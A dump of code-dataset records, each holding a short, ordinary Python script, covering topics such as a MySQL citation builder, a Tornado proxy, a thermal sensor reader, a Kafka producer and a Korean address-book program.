(median_gctoo, count_gctoo)\n\n\nif __name__ == \"__main__\":\n args = build_parser().parse_args(sys.argv[1:])\n setup_logger.setup(verbose=args.verbose)\n\n logger.debug(\"args: {}\".format(args))\n\n main(args)\n","sub_path":"assemble_no_davepool.py","file_name":"assemble_no_davepool.py","file_ext":"py","file_size_in_byte":3091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"328833173","text":"import MySQLdb\nimport traceback\n\ndb = MySQLdb.connect(\"localhost\",\"root\",\"arun\",\"btp\" )\ncursor = db.cursor()\n\nsql = \"select paper_id,author_id from paper_author\"\npaper_list = {}\ns = []\nref_list = []\ntry:\n cursor.execute(sql)\n results = cursor.fetchall()\n for row in results:\n \ttry:\n \t\tpaper_list[row[0]].append(row[1])\n \texcept KeyError:\n \t\tpaper_list[row[0]]=[]\n \t\tpaper_list[row[0]].append(row[1])\n \t\tcontinue\nexcept:\n\tprint (\"EXIT\")\n\ttraceback.print_exc()\n\texit()\nprint(\"SQL1 complete\")\nprint(len(paper_list))\n\nsql = \"select src_id,dest_id from paper_ref\"\nresults = []\ntry:\n cursor.execute(sql)\n results = cursor.fetchall()\nexcept:\n\ttraceback.print_exc()\n\tprint (\"EXIT\")\n\texit()\nprint(\"SQL2 complete\")\nprint(len(results))\nkey = -1\nfor row in results:\n\tif key ==-8:\n\t\tbreak;\n\tfor auth in paper_list[row[0]]:\n\t\ttry:\n\t\t\tfor auth2 in paper_list[row[1]]:\n\t\t\t\ts.append(\"insert into citation_order values('%d','%d')\" % (auth,auth2))\t\n\t\t\t\tprint(str(row[0])+\"->\"+str(row[1])+\" => \"+str(auth)+\"->\"+str(auth2))\n\t\texcept KeyError:\n\t\t\tpaper_list[row[1]]=[]\n\t\t\tpaper_list[row[1]].append(key)\n\t\t\ts.append(\"insert into citation_order values('%d','%d')\" % (auth,key))\t\n\t\t\tkey -=1\n\t\t\tcontinue\nprint (len(s))\nprint(str(key))\nexit()\ntry:\n\tfor sq in s:\n\t\tcursor.execute(sq)\n\t# db.commit()\nexcept:\n\tprint (\"failure\")\n\tprint (sq)\n\texit()\nprint(\"SQL3 complete\")\n\ntry:\n\tdb.commit()\nexcept:\n\tprint (\"failure\")\n\ttraceback.print_exc()\n\texit()\n\tdb.rollback()\t\ndb.close()","sub_path":"centr/citauth.py","file_name":"citauth.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"222018012","text":"import argparse\nimport tornado\nfrom tornado import httpserver\nimport proxy\nimport cache\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-p\", \"--port\", help='port', type=int, default=8888)\n\n\ndef make_app():\n settings = dict(autoreload=False, debug=False)\n\n return tornado.web.Application(\n [\n (\n '.*',\n proxy.ProxyHandler,\n dict(\n cache=cache.InMemoryCacheBackend(),\n )\n ),\n ],\n **settings\n )\n\n\ndef main():\n args = parser.parse_args()\n app = make_app()\n server = httpserver.HTTPServer(app)\n server.bind(args.port)\n server.start(0) # Forks multiple sub-processes\n try:\n tornado.ioloop.IOLoop.current().start()\n except KeyboardInterrupt:\n tornado.ioloop.IOLoop.current().stop()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"120911206","text":"import time\nimport smbus\nimport json\ni2c_ch = 1\n\n# TMP102 address on the I2C bus\ni2c_address = 0x0a\nD6T_CMD= 0x4C\nf=open(\"/home/faren-t/share/config\",'r')\ntest_string = f.read()\nf.close()\nres = json.loads(test_string)\nhost_ip=res['host_ip']\nport_no=res['port_no']\ncalib_value=res['calib_value']\ntemp=res['temp_thresh']\n# Calculate the 2's complement of a number\ndef twos_comp(val, bits):\n if (val & (1 << (bits - 1))) != 0:\n val = val - (1 << bits)\n return val\n\n# Read temperature registers and calculate Celsius\ndef read_temp():\n try:\n # Read temperature registers\n val = bus.read_i2c_block_data(i2c_address, D6T_CMD,35)\n## bus.write_i2c_block_data(i2c_address, D6T_CMD, 35)\n## print(val)\n\n temp_c = (val[0] << 4) | (val[1] >> 4)\n temp_c = twos_comp(temp_c, 12)\n\n # Convert registers value to temperature (C)\n temp_c = temp_c * 0.0625\n\n tp = []\n tptat = 0\n data=[0,val]\n## print(data[1][33])\n tp.append((data[1][3] * 256 + data[1][2]) / 10.0)\n tp.append((data[1][5] * 256 + data[1][4]) / 10.0)\n tp.append((data[1][7] * 256 + data[1][6]) / 10.0)\n tp.append((data[1][9] * 256 + data[1][8]) / 10.0)\n tp.append((data[1][11] * 256 + data[1][10]) / 10.0)\n tp.append((data[1][13] * 256 + data[1][12]) / 10.0)\n tp.append((data[1][15] * 256 + data[1][14]) / 10.0)\n tp.append((data[1][17] * 256 + data[1][16]) / 10.0)\n tp.append((data[1][19] * 256 + data[1][18]) / 10.0)\n tp.append((data[1][21] * 256 + data[1][20]) / 10.0)\n tp.append((data[1][23] * 256 + data[1][22]) / 10.0)\n tp.append((data[1][25] * 256 + data[1][24]) / 10.0)\n tp.append((data[1][27] * 256 + data[1][26]) / 10.0)\n tp.append((data[1][29] * 256 + data[1][28]) / 10.0)\n tp.append((data[1][31] * 256 + data[1][30]) / 10.0)\n tp.append((data[1][33] * 256 + data[1][32]) / 10.0)\n\n tptat = (data[1][1] * 256 + data[1][0]) / 10.0\n except IndexError:\n print('got an incorrect index.')\n return None,None\n \n return tp, tptat\n\n# Initialize I2C (SMBus)\nbus = smbus.SMBus(i2c_ch)\n\n# Read the CONFIG register (2 bytes)D6T_CMD\ntry:\n val = bus.read_i2c_block_data(i2c_address,D6T_CMD , 35)\n## print(\"Old CONFIG:\", val)\n\n # Set to 4 Hz sampling (CR1, CR0 = 0b10)\n val[1] = val[1] & 0b00111111\n val[1] = val[1] | (0b10 << 6)\n bus.write_i2c_block_data(i2c_address, D6T_CMD, 35)\nexcept:\n pass\n\n\n# Print out temperature every second\ndef get_temp():\n while True:\n try:\n tpn, tptat = read_temp()\n print(tpn)\n## tpn1=tpn[0:4]+tpn[4:8]\n calib_temp=round((36.0+(36.3-33.5)*(max(tpn1)-41.3)/(50-41.3))/calib_value,1)\n## print(calib_temp,max(tpn1))\n temp=float(round((calib_temp* 9/5 + 32),1))\n## print(temp, \"°F\")\n return temp\n except:\n pass\n## time.sleep(1)\n\n##get_temp()\n","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":3116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"641465224","text":"from email.header import Header\nfrom email.mime.text import MIMEText\nfrom email.utils import parseaddr, formataddr\nfrom email.mime.multipart import MIMEMultipart\nimport unittest\nimport smtplib,os\nimport time\nfrom utils.ReadProperties import Read\nfrom testcase.money_moneyAll_testa import MoneyBrowseTest\nfrom testcase.money_check_testing import MoneytCheck\n#注:生成的测试报告包含饼图\nfrom utils.HTMLTestRunnerCircle import HTMLTestRunner\n\ndef send_email(po):\n def _format_addr(s):\n name, addr = parseaddr(s)\n return formataddr((Header(name, 'utf-8').encode(), addr))#如果包含中文,需要通过Header对象进行编码。\n to_addr=Read().getValue('to_addr')\n tempTo=to_addr\n #smtp_server = \"smtp.163.com\"\n smtp_server=Read().getValue('smtp_server')\n msg = MIMEMultipart()\n msg.attach(po)\n\n msg['From'] = _format_addr('ff <%s>' % Read().getValue('from_addr'))\n msg['To'] = ''.join(tempTo)\n msg['To'] = _format_addr('小组人员 <%s>')\n msg['Subject'] = Header('测试邮件', 'utf-8').encode()\n\n server = smtplib.SMTP(smtp_server, 25)# SMTP协议默认端口是25\n server.set_debuglevel(1)#打印出和SMTP服务器交互的所有信息\n server.login(Read().getValue('from_addr'), Read().getValue('password'))\n #发送指定人邮件\n #server.sendmail(from_addr, [to_addr], msg.as_string())\n #发送多人\n server.sendmail(Read().getValue('from_addr'),tempTo, msg.as_string())\n server.quit()\n #——————————————————————————————————————————————\ndef t_send():\n #所要执行的测试用例所在的位置\n test_dir = Read().getValue('test_dir')\n #测试报告所在的路径\n test_report = Read().getValue('test_report')\n # 查找想要执行的文件\n discover = unittest.defaultTestLoader.discover(test_dir, pattern='*_testinga.py')\n # 使用HTMLTestRunner来生成testRunner,生成html测试报告\n now_time = time.strftime(\"%Y%m%d%H%M%S\")\n file_name = test_report + '\\\\' + now_time + 'result.html'\n fp = open(file_name, 'wb')\n runner = HTMLTestRunner(stream=fp, title=\"测试报告\", description=\"运行环境:firefox\")\n runner.run(discover)\n fp.close()\n\n # 查找修改日期最新的测试方法\n new_report1 = new_report(test_report)\n f = open(new_report1, 'rb')\n message = f.read()\n text = MIMEText(message, 'html', 'utf-8')\n # 发送测试报告\n send_email(text)\n#查找最新生成的测试报告\ndef new_report(files):\n lists = os.listdir(files)\n lists.sort(key=lambda fn: os.path.getmtime(files+\"\\\\\"+fn))\n file_new = os.path.join(files,lists[-1])\n return file_new\n\n\n","sub_path":"RanZhiPython/utils/circleSendEmail.py","file_name":"circleSendEmail.py","file_ext":"py","file_size_in_byte":2906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"371494492","text":"from keras.layers import Dense, Dropout, Conv2D, Flatten\nfrom keras.models import Sequential\nfrom src.common.config import config\nfrom src.utils.trainer import NetworkTrainer\nimport argparse\nimport numpy as np\nimport os\n\n# parse input arguments\nparser = argparse.ArgumentParser()\nparser.add_argument(\n \"-d\",\n \"--directory\",\n required=True,\n help=\"path to directory with training shapes\"\n)\nparser.add_argument(\n \"-t\",\n \"--train-size\",\n required=True,\n help=\"fraction representing the size of the training set extracted from the provided data set \"\n \"(e.g. 0.8 means that 80% of images are going to be used for training)\"\n)\narguments = parser.parse_args()\n\nif not os.path.isdir(arguments.directory):\n raise ValueError(\"Supplied path is not a directory\")\n\ntrain_size = float(arguments.train_size)\nif not 0.0 < train_size <= 1.0:\n raise ValueError(\"Supplied training set size is not a float from range (0, 1]\")\n\n# load training data\nimage_size = config[\"image_size\"]\ntrainer = NetworkTrainer(image_size)\nimage_shape, classes = trainer.load_data(arguments.directory, train_size)\n\n# define the model (for 1D vectors)\nmodel = Sequential()\nmodel.add(Dense(256, activation=\"relu\", input_shape=(np.prod(image_shape),)))\nmodel.add(Dropout(0.2))\nmodel.add(Dense(256, activation=\"relu\"))\nmodel.add(Dropout(0.2))\nmodel.add(Dense(256, activation=\"relu\"))\nmodel.add(Dropout(0.4))\nmodel.add(Dense(classes, activation=\"softmax\"))\n\n# train and save the model\ntrainer.train_and_save(model, \"./model/shapes_model_1d_vec.h5\", batch_size=256, epochs=50, flatten=True, verbose=1)\n\n# define the convolutional model\nmodel = Sequential()\nmodel.add(Conv2D(\n activation=\"relu\",\n input_shape=(image_shape[0], image_shape[1], 1),\n filters=1,\n kernel_size=8,\n padding=\"valid\"\n))\nmodel.add(Dropout(0.2))\nmodel.add(Flatten())\nmodel.add(Dense(classes, activation=\"softmax\"))\n\n# train and save the model\ntrainer.train_and_save(model, \"./model/shapes_model_2d_img.h5\", batch_size=256, epochs=25, flatten=False, verbose=1)\n","sub_path":"shapes/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"147508065","text":"from os import listdir\nimport matplotlib.pyplot as plt\nimport os\nimport numpy as np\nfrom skimage import data, color, filters, io, feature, measure,draw\nfrom skimage import morphology\nfrom scipy import ndimage\n\n\n\ndata_dir_path = '/Users/lilacblue/PycharmProjects/samoloty5/venv/lib/python3.7/site-packages/skimage/data'\n\n\nthresholdValue = 0.29\nmorphohologySquareWidth = 5\ngaussianFilterSigma = 5.5\ncontoursLevel = 0.99\ncontourLineWidth = 0.5\ncenterOfMassCircleRadius = 6\n\n\n\ndir_path = '/Users/lilacblue/PycharmProjects/samoloty3/venv/lib/python3.7/site-packages/skimage/data'\n\n#path to images\ndef list_image(dir_path):\n return [os.path.join(dir_path, file) for file in ['samolot00.jpg','samolot01.jpg','samolot02.jpg','samolot03.jpg','samolot05.jpg','samolot07.jpg','samolot08.jpg','samolot09.jpg','samolot10.jpg','samolot11.jpg','samolot12.jpg','samolot13.jpg','samolot14.jpg','samolot15.jpg','samolot16.jpg','samolot17.jpg','samolot18.jpg','samolot19.jpg','samolot20.jpg']]\n\ndef input_data(imageFilePath):\n return data.imread(imageFilePath)\n\ndef transform_image_to_grey(image):\n return color.rgb2grey(image)\n\ndef average_image(image):\n minValue = np.amin(image)\n meanValue = np.mean(image)\n\n for x in np.nditer(image, op_flags=['readwrite']):\n if x > minValue + thresholdValue:\n x[...] = meanValue\n\n return image\n\ndef compute_mass_center_coords(imageShape, rowPixelCoord, columnPixelCoord):\n massCenterTempArray = np.zeros(imageShape)\n massCenterTempArray[rowPixelCoord, columnPixelCoord] = 1\n return ndimage.measurements.center_of_mass(massCenterTempArray)\n\ndef perform_image_computations(image,index):\n filteredImage = transform_image_to_grey(image)\n\n filteredImage = average_image(filteredImage)\n\n filteredImage = filteredImage > filters.threshold_otsu(filteredImage)\n\n filteredImage = filters.gaussian(filteredImage,sigma=gaussianFilterSigma)\n\n contours = measure.find_contours(filteredImage, contoursLevel)\n subplot = plt.subplot(18, 4, index + 1)\n for contour in contours:\n rowCoords = contour[:, 0]\n columnCoords = contour[:, 1]\n rowPixelCoord, columnPixelCoord = draw.polygon(rowCoords, columnCoords)\n\n centerOfMassCoordX, centerOfMassCoordY, temp = compute_mass_center_coords(image.shape,rowPixelCoord,columnPixelCoord)\n\n circlePlot = plt.Circle((centerOfMassCoordY, centerOfMassCoordX), radius=centerOfMassCircleRadius, color='white')\n\n subplot.add_artist(circlePlot)\n subplot.plot(columnCoords, rowCoords, linewidth=contourLineWidth)\n\n\nif __name__ == \"__main__\":\n plt.figure(figsize=(20, 12))\n plt.subplots_adjust(left=0, bottom=0, right=0.15, hspace=0, wspace=0)\n\n for i, imagePath in enumerate(list_image(dir_path)):\n image = input_data(imagePath)\n perform_image_computations(image, i)\n plt.imshow(image, cmap=\"Greys_r\")\n plt.axis(\"off\")\n\n plt.savefig(\"samoloty5.pdf\", bbox_inches=\"tight\")","sub_path":"samoloty/samoloty5.py","file_name":"samoloty5.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"117844352","text":"\"\"\"\nmain.py\nLast Edit: 9/6/2018\nMain program flow, Adapted from Google Quickstart documentation\n\"\"\"\n\n# Library for Google API, Http Requests, Authentication\nfrom googleapiclient.discovery import build\nfrom httplib2 import Http\nfrom oauth2client import file, client, tools\n\nimport config\n\n# If modifying these scopes, delete the file token.json.\n# Scope defined on first run of program when authenticate\n# This scope gives read and write access\nSCOPES = 'https://www.googleapis.com/auth/tasks'\n\ndef main():\n\n # Authenticating against API based on token.json\n # Generates token.json if does not exist\n store = file.Storage('token.json')\n credentials = store.get()\n if not credentials or credentials.invalid:\n flow = client.flow_from_clientsecrets('credentials.json', SCOPES)\n credentials = tools.run_flow(flow, store)\n service = build('tasks', 'v1', http=credentials.authorize(Http()))\n\n # Clear completed tasks for the taskListID in config.py\n service.tasks().clear(tasklist=config.taskListId).execute()\n\n# Call main() function\nif __name__ == '__main__':\n main()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"486217744","text":"\"\"\"\n The main file of the application.\n\"\"\"\nimport os\nimport time\nfrom watchdog.events import PatternMatchingEventHandler #pylint: disable=E0401\nfrom watchdog.observers import Observer #pylint: disable=E0401\n# import switches\nimport schedule #pylint: disable=E0401\nimport actions #pylint: disable=E0401\nimport speech #pylint: disable=E0401\nimport database #pylint: disable=E0401\nimport config #pylint: disable=E0401\nimport timings #pylint: disable=E0401\n\n\ndef notify(src_path):\n \"\"\"\n Decodes which notification, removes notification file\n and executes proper action to notification.\n \"\"\"\n file_name = src_path.split('/')[-1]\n notification = file_name.split('.')[0]\n os.remove(src_path)\n\n speech.say(\"I saw you updated the %s, i'll update my %s as well.\"\n % tuple([NOTIFICATIONS[notification][0]]*2))\n NOTIFICATIONS[notification][1]()\n\n\nclass NotificationHandler(PatternMatchingEventHandler):\n \"\"\"Handles creation of server-side notifications\"\"\"\n patterns = [\"*.notify\"]\n\n def on_created(self, event):\n \"\"\"Handles creation of event\"\"\"\n notify(event.src_path)\n\nCONFIG = config.Config('./device_side/configuration/.env')\n\n# Variables\nLAST_AUTO_UPDATE = timings.get_time()\n\n# Initializations\nDATABASE = database.DB(CONFIG.get('database.host'), CONFIG.get('database.user'),\n CONFIG.get('database.password'), CONFIG.get('database.name'))\nACTIONS = actions.Actions(DATABASE)\nSCHEDULE = schedule.Schedule(CONFIG, DATABASE, ACTIONS)\nOBSERVER = Observer()\n\n# Definitions\nNOTIFICATIONS = {\n \"update_schedule\": [\"schedule\", SCHEDULE.update],\n \"update_actions\": [\"actions\", ACTIONS.update]\n}\n\n# Prepare system\nOBSERVER.schedule(NotificationHandler(), path=CONFIG.get('notifications.path'), recursive=False)\nOBSERVER.start()\n\nif __name__ == \"__main__\":\n speech.say(\"Setting up the system\")\n speech.say(\"Initializing\")\n speech.say(\"Done, application starts now\")\n\n try:\n while True:\n if timings.get_time() - LAST_AUTO_UPDATE > 24 * 60 * 60:\n # Auto-refresh schedule every day\n LAST_AUTO_UPDATE = timings.get_time()\n SCHEDULE.update()\n speech.say(\"I did an autoupdate as is was a full day ago\")\n\n SCHEDULE.run()\n time.sleep(1)\n except KeyboardInterrupt:\n DATABASE.close_connection()\n OBSERVER.stop()\n\n OBSERVER.join()\n","sub_path":"src/device_side/controls.py","file_name":"controls.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"261408396","text":"inp = 1352\n\ndef isWall(pos):\n x, y = pos\n if x < 0 or y < 0:\n return True\n number = x * x + 3 * x + 2 * x * y + y + y * y\n number += inp\n return len([d for d in bin(number)[2:] if d == '1']) % 2 == 1\n\nvisited = set()\nstack = [(0, (1, 1))]\nwhile stack:\n d, p = stack.pop(0)\n if d > 50:\n continue\n visited.add(p)\n x, y = p\n for i in (-1, 1):\n np = (x + i, y)\n if np not in visited and not isWall(np):\n stack.append((d + 1, np))\n np = (x, y + i)\n if np not in visited and not isWall(np):\n stack.append((d + 1, np))\n\nprint(len(visited))\ninput()\n","sub_path":"day13/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"310771096","text":"#!/usr/bin/env python3\n\n# Copyright 2017, 2022 National Research Foundation (SARAO)\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors\n# may be used to endorse or promote products derived from this software without\n# specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nimport asyncio\nimport enum\nimport logging\nimport signal\nfrom typing import Tuple\n\nimport aiokatcp\n\n\nclass Foo(enum.Enum):\n ABC_DEF = 1\n GHI_K = 2\n\n\nclass Total(aiokatcp.SimpleAggregateSensor):\n def __init__(self, target):\n self._total = 0\n super().__init__(target=target, sensor_type=int, name=\"total\")\n\n def aggregate_add(self, updated_sensor, reading):\n self._total += reading.value\n return True\n\n def aggregate_remove(self, updated_sensor, reading):\n self._total -= reading.value\n return False\n\n def aggregate_compute(self):\n return (aiokatcp.Sensor.Status.NOMINAL, self._total)\n\n def filter_aggregate(self, sensor):\n \"\"\"Return true for int sensors which aren't self.\"\"\"\n return sensor.stype is int and sensor is not self\n\n\nclass Server(aiokatcp.DeviceServer):\n VERSION = \"testapi-1.0\"\n BUILD_STATE = \"testapi-1.0.1\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n sensor = aiokatcp.Sensor(\n int,\n \"counter-queries\",\n \"number of ?counter queries\",\n default=0,\n initial_status=aiokatcp.Sensor.Status.NOMINAL,\n )\n self.sensors.add(sensor)\n sensor = aiokatcp.Sensor(Foo, \"foo\", \"nonsense\")\n self.sensors.add(sensor)\n self.add_service_task(asyncio.create_task(self._service_task()))\n\n total_sensor = Total(self.sensors)\n self.sensors.add(total_sensor)\n self.add_service_task(asyncio.create_task(self._alter_sensors()))\n\n async def request_echo(self, ctx, *args: str) -> Tuple:\n \"\"\"Return the arguments to the caller\"\"\"\n return tuple(args)\n\n async def request_sleep(self, ctx, time: float) -> None:\n \"\"\"Sleep for some amount of time\"\"\"\n await asyncio.sleep(time)\n\n async def request_fail(self, ctx, arg: str) -> None:\n \"\"\"Request that always returns a failure reply\"\"\"\n raise aiokatcp.FailReply(arg + \" is no good\")\n\n async def request_crash(self, ctx) -> None:\n \"\"\"Request that always raises an exception\"\"\"\n raise RuntimeError(\"help I've fallen over and can't get up\")\n\n async def request_counter(self, ctx) -> None:\n \"\"\"Increment counter-queries\"\"\"\n self.sensors[\"counter-queries\"].value += 1\n\n async def _service_task(self) -> None:\n \"\"\"Example service task that broadcasts to clients.\"\"\"\n while True:\n await asyncio.sleep(10)\n self.mass_inform(\"hello\", \"Hi I am a service task\")\n\n async def _alter_sensors(self) -> None:\n \"\"\"Example service task that adds and removes a fixed sensor.\n\n This demonstrate's the aggregate sensor's ability to add and remove\n values from its total.\n \"\"\"\n while True:\n await asyncio.sleep(10)\n sensor = aiokatcp.Sensor(int, \"fixed-value\", default=7)\n self.mass_inform(\"interface-changed\", \"sensor\", \"fixed-value\", \"added\")\n self.sensors.add(sensor)\n\n await asyncio.sleep(10)\n self.sensors.remove(sensor)\n self.mass_inform(\"interface-changed\", \"sensor\", \"fixed-value\", \"removed\")\n\n\nasync def main():\n logging.basicConfig(level=logging.INFO)\n server = Server(\"localhost\", 4444)\n handler = Server.LogHandler(server)\n logging.getLogger().addHandler(handler)\n await server.start()\n asyncio.get_event_loop().add_signal_handler(signal.SIGINT, server.halt)\n await server.join()\n\n\nif __name__ == \"__main__\":\n asyncio.run(main(), debug=True)\n","sub_path":"examples/example_server.py","file_name":"example_server.py","file_ext":"py","file_size_in_byte":5130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"75323589","text":"'''\nExercise 2.4\t\tMEAN TEMPERATURE ON WEEKENDS\n\nProblem Statement :\n\nNow, calculate the mean for 'meantempi' for the days that are Saturdays or Sundays (weekend):\n'''\n\n\n\n\n#Solution :\n\nimport pandas as pd\n\nfilename = \"turnstile_data_master_with_weather.csv\"\t\t# Point 1\t\ndf = pd.read_csv(filename);\n\ndef avg_weekend_temperature(filename):\n \n filename['DATEn']=pd.to_datetime(filename.DATEn) \t# Point 2 \n day=(filename.DATEn.dt.weekday).astype(int) \t\t# Point 3\n filename = filename.loc[ (day==5) | (day==6)] \t# Point 4\n mean_temp_weekends = filename['meantempi'].mean() # Point 5\n return mean_temp_weekends\n\nprint(avg_weekend_temperature(df))\t\t\t\t\t\t# Point 6\n\n\n\n\n'''\nKEY POINTS\n\n1.\tReads the turnstile_data_master_with_weather.csv file. \n\tNOTE ---> \"turnstile_data_master_with_weather.csv\" MUST BE PRESENT IN THE SAME FOLDER IN WHICH THIS CODE(Mean_Temperature_On_Weekends.py) IS.\n2. \tpd.to_datetime(column_name) ---->\tConvert datatype of DATEn column fron object to Datetime.\n3.\tdt.weekday ---->\tretrieves the Day[0-6] from the given DATE where 0 is for Monday and 6 is for Sunday/\n4.\tFilters the dataframe and gives only the rows which have day='SATURDAY'(5) or 'SUNDAY'(6).\n5.\t.mean() ----> calculates the mean of 'meantempi' column from filtered dataframe\n6.\tavg_weekend_temperature(df) calls the function and since the function returns the average temperature on weekend ,\n\tprint(avg_weekend_temperature(df)) prints that average temperature.\n'''\n ","sub_path":"Analyzing_Subway_Data_NDFDSI Project/Exercise 2 - Data Analysis/Exercise 2.4 - Mean_Temp_On_Weekends/Mean_Temperature_On_Weekends.py","file_name":"Mean_Temperature_On_Weekends.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"622650626","text":"import confluent_kafka\nimport time\nfrom confluent_kafka import Producer\nimport os\n\nmsg_count = 100000\ntopic = 'example_topic'\nbootstrap_servers = 'kafka:9092'\nfile_path = 'path/to/file.avro'\n\ndef kafka_producer(data):\n\n producer = Producer({'queue.buffering.max.messages': 10000000, 'bootstrap.servers': bootstrap_servers, 'linger.ms': 3})\n messages_to_retry = 0\n\n producer_start = time.time()\n for i in range(msg_count):\n try:\n producer.produce(topic, value=data)\n except BufferError as e:\n messages_to_retry += 1\n\n # if a message fails, add it to the queue again\n for i in range(messages_to_retry):\n try:\n producer.poll(0)\n producer.produce(topic, value=data)\n except BufferError as e:\n messages_to_retry += 1\n\n producer.flush()\n return time.time() - producer_start\n\n# get data from avro\ndirname = os.path.dirname(__file__)\nfilename = os.path.join(dirname, file_path)\ninfile = open(filename, 'rb')\ndata = infile.read()\ninfile.close()\n\nkafka_producer(data)\n","sub_path":"producer.py","file_name":"producer.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"101447692","text":"import sys\nimport traceback\n\ndef load_config():\n config ={}\n with open('config.ini', 'rt') as f:\n entries = f.readlines()\n for entry in entries:\n key, value = entry.split('=')\n config[key] = value\n return config\n\ndef load(fpath, encoding):\n with open(fpath, \"rt\", encoding=encoding) as f: \n return f.readlines()\n\ndef init():\n config = load_config()\n lines = load(config['FNAME'], config['ENCODING'])\n book = make_book(lines)\n return book, config \n\ndef make_book(lines):\n book ={}\n for line in lines[1:]: #헤더 제외\n name, phone, email, addr = line.split(',')\n addr = addr.strip()\n book[name] = [phone, email, addr]\n return book\n\ndef select_menu():\n print('1)목록, 2)상세보기, 3)추가, 4)수정, 5)삭제, 6)종료')\n menu = int(input('입력: '))\n return menu\n\n# 주소록 목록 출력\ndef print_book(book):\n # 정렬해서 출력\n names = list(book.keys())\n names.sort()\n print('='*50)\n print('주소록')\n print('='*50)\n # 실제 데이터 출력\n #for name, info in book.items:\n for name in names: # .keys(), values(), .items()\n info = book[name] # 정렬을 위해서\n print(f'{name} : {info[0]}, {info[1]}, {info[2]}')\n\n print('-'*50)\n\ndef print_detail(book):\n name = input('이름: ') # 검색\n if name not in book:\n print(f'{name}은 목록에 없습니다.')\n else:\n info = book[name] # get()/ in\n print(f'{name} : {info[0]}, {info[1]}, {info[2]}')\n\ndef add_entry(book):\n name = input('이름: ')\n if name in book:\n print(f'{name}은 이미 존재합니다.')\n return\n\n phone = input('전화번호: ')\n email = input('email: ')\n addr = input('주소: ')\n # 사전에 추가 \n book[name] = [phone, email, addr] # .update() 매서드 시용가능\n\ndef update_entry(book):\n name = input('이름: ')\n if name in book:\n print(f'{name}은 이미 존재합니다.')\n return\n\n old_phone, old_email, old_addr = book[name]\n print('변경이 없는 경우 그냥 엔터')\n phone = input(f'전화번호({old_phone}): ')\n if phone.strip() == '': # 내용없이 엔터를 친 경우\n phone = old_phone\n email = input(f'email({old_email}): ')\n if email.strip() == '': # 내용없이 엔터를 친 경우\n email = old_email\n addr = input(f'주소({old_addr}): ')\n if addr.strip() == '': # 내용없이 엔터를 친 경우\n addr = old_addr\n # 사전에 추가 \n book[name] = [phone, email, addr]\n\ndef delete_entry(book):\n name = input('이름: ')\n if name in book:\n print(f'{name}은 목록에 없습니다.')\n return \n \n del book[name]\n\ndef save(book, fpath, encoding):\n # 문자열 .join(시퀀스)\n # 1 = [1, 2] : ','.join(1) ==> '1, 2'\n\n with open(fpath, 'wt', encoding=encoding) as f:\n f.write('이름,전화번호,email,주소\\n')\n for name, value in book.items():\n scores = ','.join(value)\n line = f'{name},{scores}\\n'\n f.write(line)\n \n\ndef exit(book, fpath, encoding):\n # 종료 여부 질의, 업데이트된 주소록을 저장, 파일의 경로\n ans = input('종료할까요?(Y/N')\n if ans == 'N':\n return \n \n save(book, fpath, encoding)\n sys.exit(0)\n\n\n\ndef run(self, menu):\n # 해당 메뉴를 실행\n if menu == 1:\n self.print_book()\n elif menu == 2:\n 